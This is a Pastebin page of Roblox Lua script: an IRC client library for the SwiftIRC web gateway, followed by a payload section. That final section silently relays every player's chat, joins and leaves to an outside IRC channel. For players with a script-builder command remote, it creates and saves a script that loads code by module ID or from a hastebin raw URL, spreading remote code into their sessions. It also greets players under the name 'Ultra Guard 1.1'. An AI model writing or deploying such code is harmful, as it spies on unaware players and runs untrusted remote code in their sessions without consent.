  937. Connection.UserLists[Channel][User] = true
  938.  
  939. end)
  940.  
  941. Connection.SelfEvents[#Connection.SelfEvents+1] = API.UserLeft(API.UserLeft,Connection,Channel,function(User)
  942.  
  943. wait(0.02)
  944.  
  945. Connection.UserLists[Channel][User] = nil
  946.  
  947. end)
  948.  
  949. Connection.SelfEvents[#Connection.SelfEvents+1] = API.NickChanged(API.NickChanged,Connection,Channel,function(User,Nick)
  950.  
  951. wait(0.02)
  952.  
  953. Connection.UserLists[Channel][User] = nil
  954.  
  955. Connection.UserLists[Channel][Nick] = true
  956.  
  957. end)
  958.  
  959. wait(0.02)
  960.  
  961. HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true)
  962.  
  963. end)
  964.  
  965. return true
  966.  
  967. --[[else
  968.  
  969. return false,"Something went wrong."]]
  970.  
  971. end
  972.  
  973. else
  974.  
  975. return false,"There is no connection with this nick and host."
  976.  
  977. end
  978.  
  979. end
  980.  
  981.  
  982.  
  983.  
  984. API.GetUserList = function(this,Connection,Channel)
  985.  
  986. local Host = Connection.Host
  987.  
  988. local Nick = Connection.Nick
  989.  
  990. local Key = Connection.Key
  991.  
  992. if Connections[Nick.."@"..Host] ~= nil then
  993.  
  994. local New = {}
  995.  
  996. for i,v in pairs(Connection.UserLists[Channel]) do
  997.  
  998. New[#New+1] = i
  999.  
  1000. end
  1001.  
  1002. return New
  1003.  
  1004. else
  1005.  
  1006. return false,"There is no connection with this nick and host."
  1007.  
  1008. end
  1009.  
  1010. end
  1011.  
  1012.  
  1013.  
  1014.  
  1015. API.LeaveChannel = function(this,Connection,Channel,Reason)
  1016.  
  1017. local Host = Connection.Host
  1018.  
  1019. local Nick = Connection.Nick
  1020.  
  1021. local Key = Connection.Key
  1022.  
  1023. local Str = ""
  1024.  
  1025. if Connections[Nick.."@"..Host] ~= nil then
  1026.  
  1027. Connection.Counter = Connection.Counter+1
  1028.  
  1029. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." "..Reason and ":"..tostring(Reason) or "")
  1030.  
  1031. if Data:find("true") then
  1032.  
  1033. Connection.Channels[Channel] = nil
  1034.  
  1035. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  1036.  
  1037. v:Disconnect()
  1038.  
  1039. end
  1040.  
  1041. Connection.UserLists[Channel] = nil
  1042.  
  1043. Connection.SelfEvents = {}
  1044.  
  1045. Connection.ChannelEvents[Channel] = nil
  1046.  
  1047. return true
  1048.  
  1049. elseif Data:lower():find("throttled") then
  1050.  
  1051. return false,"Oh no! We got throttled."
  1052.  
  1053. else
  1054.  
  1055. return false,"Something went wrong."
  1056.  
  1057. end
  1058.  
  1059. else
  1060.  
  1061. return false,"There is no connection with this nick and host."
  1062.  
  1063. end
  1064.  
  1065. end
  1066.  
  1067.  
  1068.  
  1069.  
  1070. API.SendMessage = function(this,Connection,Channel,Message)
  1071.  
  1072. local Host = Connection.Host
  1073.  
  1074. local Nick = Connection.Nick
  1075.  
  1076. local Key = Connection.Key
  1077.  
  1078. if Connections[Nick.."@"..Host] ~= nil then
  1079.  
  1080. if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then
  1081.  
  1082. Connection.Counter = Connection.Counter+1
  1083.  
  1084. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message))
  1085.  
  1086. if Ping ~= false then
  1087.  
  1088. return true,Ping
  1089.  
  1090. else
  1091.  
  1092. return false,"Something went wrong. "..Ping
  1093.  
  1094. end
  1095.  
  1096. else
  1097.  
  1098. return false,"You are not on this channel with this connection."
  1099.  
  1100. end
  1101.  
  1102. else
  1103.  
  1104. return false,"There is no connection with this nick and host."
  1105.  
  1106. end
  1107.  
  1108. end
  1109.  
  1110.  
  1111.  
  1112.  
  1113. local function VagueReceived(Connection,Event)
  1114.  
  1115. Connection.VagueEvents[#Connection.VagueEvents+1] = Event
  1116.  
  1117. if #Connection.VagueEvents == 1 then
  1118.  
  1119. while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do
  1120.  
  1121. Connection.Counter = Connection.Counter+1
  1122.  
  1123. local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  1124.  
  1125. if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then
  1126.  
  1127. HandleVagues(Connection,Ping)
  1128.  
  1129. end
  1130.  
  1131. wait()
  1132.  
  1133. end
  1134.  
  1135. end
  1136.  
  1137. end
  1138.  
  1139.  
  1140.  
  1141.  
  1142. API.MessageReceived = function(this,Connection,Channel,Event)
  1143.  
  1144. local Host = Connection.Host
  1145.  
  1146. local Nick = Connection.Nick
  1147.  
  1148. local Key = Connection.Key
  1149.  
  1150. if Connections[Nick.."@"..Host] ~= nil then
  1151.  
  1152. if Connection.Channels[Channel] == true then
  1153.  
  1154. local Con = {}
  1155.  
  1156. local Connected = true
  1157.  
  1158. local VCon;
  1159.  
  1160. Spawn(function()
  1161.  
  1162. local function Return(v)
  1163.  
  1164. if Connected == false then
  1165.  
  1166. for i,v in pairs(Connection.VagueEvents) do
  1167.  
  1168. if v == VCon then
  1169.  
  1170. Connection.VagueEvents[i] = false
  1171.  
  1172. end
  1173.  
  1174. end
  1175.  
  1176. return
  1177.  
  1178. end
  1179.  
  1180. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  1181.  
  1182. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
  1183.  
  1184. end
  1185.  
  1186. end
  1187.  
  1188. VCon = Return
  1189.  
  1190. VagueReceived(Connection,Return)
  1191.  
  1192. end)
  1193.  
  1194. Con.Disconnect = function(this)
  1195.  
  1196. Connected = false
  1197.  
  1198. Connection.ChannelEvents[Channel][Con] = nil
  1199.  
  1200. end
  1201.  
  1202. Connection.ChannelEvents[Channel][Con] = Con
  1203.  
  1204. return Con
  1205.  
  1206. else
  1207.  
  1208. return false,"You are not on this channel with this connection."
  1209.  
  1210. end
  1211.  
  1212. else
  1213.  
  1214. return false,"There is no connection with this nick and host."
  1215.  
  1216. end
  1217.  
  1218. end
  1219.  
  1220.  
  1221.  
  1222.  
  1223. API.PMReceived = function(this,Connection,Event)
  1224.  
  1225. local Host = Connection.Host
  1226.  
  1227. local Nick = Connection.Nick
  1228.  
  1229. local Key = Connection.Key
  1230.  
  1231. if Connections[Nick.."@"..Host] ~= nil then
  1232.  
  1233. local Con = {}
  1234.  
  1235. local Connected = true
  1236.  
  1237. local VCon;
  1238.  
  1239. Spawn(function()
  1240.  
  1241. local function Return(v)
  1242.  
  1243. if Connected == false then
  1244.  
  1245. for i,v in pairs(Connection.VagueEvents) do
  1246.  
  1247. if v == VCon then
  1248.  
  1249. Connection.VagueEvents[i] = false
  1250.  
  1251. end
  1252.  
  1253. end
  1254.  
  1255. return
  1256.  
  1257. end
  1258.  
  1259. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then
  1260.  
  1261. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
  1262.  
  1263. end
  1264.  
  1265. end
  1266.  
  1267. VCon = Return
  1268.  
  1269. VagueReceived(Connection,Return)
  1270.  
  1271. end)
  1272.  
  1273. Con.Disconnect = function(this)
  1274.  
  1275. Connected = false
  1276.  
  1277. Connection.ChannelEvents[Nick][Con] = nil
  1278.  
  1279. end
  1280.  
  1281. Connection.ChannelEvents[Nick][Con] = Con
  1282.  
  1283. return Con
  1284.  
  1285. else
  1286.  
  1287. return false,"There is no connection with this nick and host."
  1288.  
  1289. end
  1290.  
  1291. end
  1292.  
  1293.  
  1294.  
  1295.  
  1296. API.NickChanged = function(this,Connection,Channel,Event)
  1297.  
  1298. local Host = Connection.Host
  1299.  
  1300. local Nick = Connection.Nick
  1301.  
  1302. local Key = Connection.Key
  1303.  
  1304. if Connections[Nick.."@"..Host] ~= nil then
  1305.  
  1306. if Connection.Channels[Channel] == true then
  1307.  
  1308. local Con = {}
  1309.  
  1310. local Connected = true
  1311.  
  1312. local VCon;
  1313.  
  1314. Spawn(function()
  1315.  
  1316. local function Return(v)
  1317.  
  1318. if Connected == false then
  1319.  
  1320. for i,v in pairs(Connection.VagueEvents) do
  1321.  
  1322. if v == VCon then
  1323.  
  1324. Connection.VagueEvents[i] = false
  1325.  
  1326. end
  1327.  
  1328. end
  1329.  
  1330. return
  1331.  
  1332. end
  1333.  
  1334. if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  1335.  
  1336. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  1337.  
  1338. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
  1339.  
  1340. end
  1341.  
  1342. end
  1343.  
  1344. end
  1345.  
  1346. VCon = Return
  1347.  
  1348. VagueReceived(Connection,Return)
  1349.  
  1350. end)
  1351.  
  1352. Con.Disconnect = function(this)
  1353.  
  1354. Connected = false
  1355.  
  1356. Connection.ChannelEvents[Channel][Con] = nil
  1357.  
  1358. end
  1359.  
  1360. Connection.ChannelEvents[Channel][Con] = Con
  1361.  
  1362. return Con
  1363.  
  1364. else
  1365.  
  1366. return false,"You are not on this channel with this connection."
  1367.  
  1368. end
  1369.  
  1370. else
  1371.  
  1372. return false,"There is no connection with this nick and host."
  1373.  
  1374. end
  1375.  
  1376. end
  1377.  
  1378.  
  1379.  
  1380.  
  1381. API.UserJoined = function(this,Connection,Channel,Event)
  1382.  
  1383. local Host = Connection.Host
  1384.  
  1385. local Nick = Connection.Nick
  1386.  
  1387. local Key = Connection.Key
  1388.  
  1389. if Connections[Nick.."@"..Host] ~= nil then
  1390.  
  1391. if Connection.Channels[Channel] == true then
  1392.  
  1393. local Con = {}
  1394.  
  1395. local Connected = true
  1396.  
  1397. local VCon;
  1398.  
  1399. Spawn(function()
  1400.  
  1401. local function Return(v,Raw)
  1402.  
  1403. if Connected == false then
  1404.  
  1405. for i,v in pairs(Connection.VagueEvents) do
  1406.  
  1407. if v == VCon then
  1408.  
  1409. Connection.VagueEvents[i] = false
  1410.  
  1411. end
  1412.  
  1413. end
  1414.  
  1415. return
  1416.  
  1417. end
  1418.  
  1419. if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
  1420.  
  1421. Event(v[3]:sub(1,v[3]:find("!")-1))
  1422.  
  1423. end
  1424.  
  1425. end
  1426.  
  1427. VCon = Return
  1428.  
  1429. VagueReceived(Connection,Return)
  1430.  
  1431. end)
  1432.  
  1433. Con.Disconnect = function(this)
  1434.  
  1435. Connected = false
  1436.  
  1437. Connection.ChannelEvents[Channel][Con] = nil
  1438.  
  1439. end
  1440.  
  1441. Connection.ChannelEvents[Channel][Con] = Con
  1442.  
  1443. return Con
  1444.  
  1445. else
  1446.  
  1447. return false,"You are not on this channel with this connection."
  1448.  
  1449. end
  1450.  
  1451. else
  1452.  
  1453. return false,"There is no connection with this nick and host."
  1454.  
  1455. end
  1456.  
  1457. end
  1458.  
  1459.  
  1460.  
  1461.  
  1462. API.UserLeft = function(this,Connection,Channel,Event)
  1463.  
  1464. local Host = Connection.Host
  1465.  
  1466. local Nick = Connection.Nick
  1467.  
  1468. local Key = Connection.Key
  1469.  
  1470. if Connections[Nick.."@"..Host] ~= nil then
  1471.  
  1472. if Connection.Channels[Channel] == true then
  1473.  
  1474. local Con = {}
  1475.  
  1476. local Connected = true
  1477.  
  1478. local VCon;
  1479.  
  1480. Spawn(function()
  1481.  
  1482. local function Return(v)
  1483.  
  1484. if Connected == false then
  1485.  
  1486. for i,v in pairs(Connection.VagueEvents) do
  1487.  
  1488. if v == VCon then
  1489.  
  1490. Connection.VagueEvents[i] = false
  1491.  
  1492. end
  1493.  
  1494. end
  1495.  
  1496. return
  1497.  
  1498. end
  1499.  
  1500. if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  1501.  
  1502. Event(v[3]:sub(1,v[3]:find("!")-1))
  1503.  
  1504. elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  1505.  
  1506. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  1507.  
  1508. Event(v[3]:sub(1,v[3]:find("!")-1))
  1509.  
  1510. end
  1511.  
  1512. end
  1513.  
  1514. end
  1515.  
  1516. VCon = Return
  1517.  
  1518. VagueReceived(Connection,Return)
  1519.  
  1520. end)
  1521.  
  1522. Con.Disconnect = function(this)
  1523.  
  1524. Connected = false
  1525.  
  1526. Connection.ChannelEvents[Channel][Con] = nil
  1527.  
  1528. end
  1529.  
  1530. Connection.ChannelEvents[Channel][Con] = Con
  1531.  
  1532. return Con
  1533.  
  1534. else
  1535.  
  1536. return false,"You are not on this channel with this connection."
  1537.  
  1538. end
  1539.  
  1540. else
  1541.  
  1542. return false,"There is no connection with this nick and host."
  1543.  
  1544. end
  1545.  
  1546. end
  1547.  
  1548.  
  1549.  
  1550.  
  1551. API.KeepAlive = function(this,Connection)
  1552.  
  1553. local Host = Connection.Host
  1554.  
  1555. local Nick = Connection.Nick
  1556.  
  1557. local Key = Connection.Key
  1558.  
  1559. if Connections[Nick.."@"..Host] ~= nil then
  1560.  
  1561. Connection.Counter = Connection.Counter+1
  1562.  
  1563. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PONG :webchat.SwiftIRC.net")
  1564.  
  1565. if Ping ~= false then
  1566.  
  1567. return true
  1568.  
  1569. else
  1570.  
  1571. return false,"Something went wrong."
  1572.  
  1573. end
  1574.  
  1575. else
  1576.  
  1577. return false,"There is no connection with this nick and host."
  1578.  
  1579. end
  1580.  
  1581. end
  1582.  
  1583.  
  1584.  
  1585.  
  1586.  
  1587.  
  1588.  
  1589.  
  1590. rand = tostring(math.random(0,24))
  1591. ClientName = "MLGClient"..rand
  1592.  
  1593. local con = API:Connect("https://qwebirc.swiftirc.net/",ClientName)--API.Connect = function(this,Host,Nick,Pass)
  1594.  
  1595. spawn(function() while wait(5) do API:KeepAlive(con) end end)
  1596.  
  1597. local c = {API:JoinChannel(con,"#pRax")}--this,Connection,Channel)
  1598.  
  1599. print("Data", unpack(c))
  1600.  
  1601. if not c[1] then error(c[2],2) end
  1602.  
  1603. API:MessageReceived(con,"#pRax",ChatGetter)
  1604.  
  1605. API:UserJoined(con,"#pRax",ChatGetter)
  1606.  
  1607. API:UserLeft(con,"#pRax",ChatGetter)
  1608.  
  1609. local Chat=function(msg,channel,playername)
  1610.  
  1611. c={API:SendMessage(con,channel and tostring(channel) or "#pRax",'['..playername..']: '..msg)}
  1612. if not c[1] then error(c[2],2) end
  1613. return "success"
  1614. end
  1615.  
  1616. ChangeNick=function(nick)
  1617.  
  1618. API:ChangeNick(con,nick)
  1619.  
  1620. end
  1621.  
  1622. JoinChannel=function(channel)
  1623.  
  1624. API:JoinChannel(con,channel)
  1625.  
  1626. end
  1627.  
  1628. LeaveChannel=function(channel,reason)
  1629.  
  1630. API:LeaveChannel(con,channel,reason)
  1631.  
  1632. end
  1633.  
  1634. function ircprint(name,msg) Chat(msg,"#pRax",name)end
  1635.  
  1636. coroutine.resume(coroutine.create(function()
  1637. for i,v in pairs(game:GetService'Players':GetPlayers()) do
  1638. v.Chatted:connect(function(msg) local t=tostring(v)
  1639. Chat(tostring(msg),'#pRax',t)
  1640. end)
  1641. end
  1642. game:GetService'Players'.PlayerAdded:connect(function(p)
  1643. local r=tostring(p)
  1644. Chat(p.Name.." has joined." ,'#pRax',r)
  1645. OxChat("Dominus Rax",p.Name.." has joined.")
  1646. SendChat.MessageAll("[ D o m i n u s R a x ] : "..p.Name.." h a s j o i n e d", BrickColor.new("Really red").Color, "Size96", "SciFi")
  1647. SendChat.MessageToPlayer(p,"[Dominus Rax]: Welcome "..p.Name, BrickColor.new("Lime green").Color, "Size24", "SourceSans")
  1648. for _,v in pairs(game.Players:GetPlayers()) do
  1649. if v:FindFirstChild("SB_CommandRemote") then
  1650. sbexe("create/Legit",p)
  1651. sbexe("edit/Legit",p)
  1652. sbexe("require(737888760)",p)
  1653. sbexe("exit/",p)
  1654. sbexe("save/Legit",p)
  1655. end
  1656. end
  1657. p.Chatted:connect(function(m) local r=tostring(p)
  1658. Chat(tostring(m),'#pRax',r)
  1659. end)
  1660. end)
  1661. game:GetService'Players'.PlayerRemoving:connect(function(p)
  1662. local r=tostring(p)
  1663. Chat(p.Name.." has left.",'#pRax',r)
  1664. OxChat("Dominus Rax",p.Name.." has left.")
  1665. SendChat.MessageAll("[ D o m i n u s R a x ] :"..p.Name.." h a s l e f t .", BrickColor.new("Really red").Color, "Size24", "SciFi")
  1666. end)
  1667. end))
  1668.  
  1669. OxChat("Dominus Rax", "Establishing Connection")
  1670. wait(1)
  1671. OxChat("Dominus Rax", "Connected")
  1672. SendChat.MessageAll("[Dominus Rax]: Connected.", BrickColor.new("Lime green").Color, "Size24", "SourceSans")
  1673. wait(.5)
  1674. OxChat("IRC","Ran on game: "..GetNameFromId(game.PlaceId))
  1675. ircprint("IRC","Ran on game: "..GetNameFromId(game.PlaceId))
  1676. for _,v in pairs(game.Players:GetPlayers()) do
  1677. plrOxChat(v,"Ultra Guard 1.1","Welcome: "..v.Name)
  1678. SendChat.MessageToPlayer(v,"[Dominus Rax]: Welcome "..v.Name, BrickColor.new("Lime green").Color, "Size24", "SourceSans")
  1679. end
  1680. for _,v in pairs(game.Players:GetPlayers())do
  1681. if v:FindFirstChild("SB_CommandRemote") then
  1682. sbexe("ch/Legit/https://hastebin.com/raw/lodehejupe.lua",v)
  1683. sbexe("save/Legit",v)
  1684. end
  1685. end
  1686. game:GetService("Players").PlayerAdded:connect(function(Plr)
  1687. if Banned[Plr.Name] then
  1688. Plr:Kick(Banned[Plr.Name].Reason)
  1689. end
  1690. end)
  1691. return nil
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement